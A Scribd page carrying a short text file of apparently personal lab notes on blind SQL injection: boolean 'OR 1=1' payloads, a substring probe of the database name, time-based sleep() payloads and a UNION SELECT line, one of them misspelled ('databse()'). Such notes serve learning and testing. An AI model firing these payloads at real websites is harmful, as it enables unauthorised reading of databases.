Scribd Logo
Upload

Welcome to Scribd!

  • SQL Injections

    Uploaded by

    NIHAL KUMAR
    40 views1 page
    This document discusses different techniques for blind SQL injections, including using boolean logic and time delays to extract information without direct errors or responses. It shows examples of SQL comments that can be used to determine database names and tables through substring matching and timing comparisons. The document also briefly mentions exploiting unions to extract multiple columns of data from a database.

    Original Description:

    Original Title

    SQL injections.txt

    Copyright

    © © All Rights Reserved

    Available Formats

    TXT, PDF, TXT or read online from Scribd

    Did you find this document useful?

    Is this content inappropriate?

    Report this Document
    This document discusses different techniques for blind SQL injections, including using boolean logic and time delays to extract information without direct errors or responses. It shows examples of SQL comments that can be used to determine database names and tables through substring matching and timing comparisons. The document also briefly mentions exploiting unions to extract multiple columns of data from a database.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as txt, pdf, or txt
    40 views1 page

    SQL Injections

    Uploaded by

    NIHAL KUMAR
    This document discusses different techniques for blind SQL injections, including using boolean logic and time delays to extract information without direct errors or responses. It shows examples of SQL comments that can be used to determine database names and tables through substring matching and timing comparisons. The document also briefly mentions exploiting unions to extract multiple columns of data from a database.

    Copyright:

    © All Rights Reserved
    Download as TXT, PDF, TXT or read online from Scribd
    Flag for inappropriate content
    Download as txt, pdf, or txt
    of 1

    BLind SQL injections

    ' OR 1=1 #
    " OR 1=1 #
    ") OR 1=1 #
    ') OR 1=1 #

    ")OR 1=1 # -->14

    ") OR substring(database (), 2,1) = "e" # -----> security

    TIME BASED Boolean Injection


    ' OR sleep(10) #
    " OR sleep(10) #
    ') OR sleep(10) #
    ") OR sleep(10) #

    Exploitation Process

    ' union all select databse(),2 #

    replace all +

    You might also like